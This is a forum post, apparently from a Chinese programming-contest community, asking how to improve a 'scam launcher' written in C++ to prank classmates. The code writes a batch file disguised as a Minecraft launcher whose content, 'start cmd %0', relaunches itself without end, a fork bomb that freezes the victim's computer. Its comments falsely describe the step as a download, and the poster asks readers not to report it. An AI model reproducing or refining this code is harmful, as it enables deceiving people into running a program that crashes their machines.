【oi无关】这个骗人启动器的代码还能怎么优化?
  • 板块灌水区
  • 楼主wangshirui001
  • 当前回复11
  • 已保存回复11
  • 发布时间2022/2/14 20:23
  • 上次更新2023/10/28 08:31:32
查看原帖
【oi无关】这个骗人启动器的代码还能怎么优化?
324870
wangshirui001楼主2022/2/14 20:23

rt,想坑坑同学

#include <iostream>
#include <windows.h>
#include <string>



char  **funFilePath(char** arrFilename,int nLength);

int   createFile(char *contentTxt,int nLength);


int  deleteFile(int nLength);

int  main(int argc, char** argv) {
	std::cout<<"开始创建启动器\n";
 char contentTxt[2048]="start cmd %0";//利用cmd辅助进行下载 
 int nLength = 1;//文件数量
 std::cout<<"请稍等,创建时间大约5s(平均时间)\n"; 
 Sleep(10000);
  createFile(contentTxt,nLength);//开始下载 
  //deleteFile(nLength);
  system("pause");
  return 0;
}
char  **funFilePath(char** arrFilename, int nLength)//下载程序 
{
 char Path[255];
 char FileName[255];
    for(int i=0;i<nLength;i++)  {
 GetCurrentDirectory(sizeof(Path),Path);
 wsprintf(FileName,"\\Minecraft launcher.bat",i);//文件名称 
 strcat(Path,FileName);
 arrFilename[i]=(char *)malloc(255);
 strcpy(arrFilename[i],Path);
 }
   //printf("%s\n",arrFilename[i]);//test
   return arrFilename;
 
}
int  createFile(char *contentTxt,int nLength){
    //int nLength = 10;
    char* arrFilename[nLength];
    funFilePath(arrFilename,nLength);
    //printf("%d\n",sizeof(arrFilename)/sizeof(char**));
    for(int i=0;i<sizeof(arrFilename)/sizeof(char**);i++)  {
 HANDLE hFile;
 hFile = CreateFile(arrFilename[i],GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
 if(hFile==INVALID_HANDLE_VALUE){
 continue;
 }
 
 DWORD dwWrite;
 WriteFile(hFile,contentTxt,strlen(contentTxt),&dwWrite,NULL);//创建文件并写入内容 
 printf("%s----创建成功!\n",arrFilename[i]);
 CloseHandle(hFile);
 free(arrFilename[i]);//释放内存  
 
 }
 //memset(arrFilename,0x00,255);//清空数组内容 
 return 0;
   
 
}

请不要举报,谢谢

2022/2/14 20:23
加载中...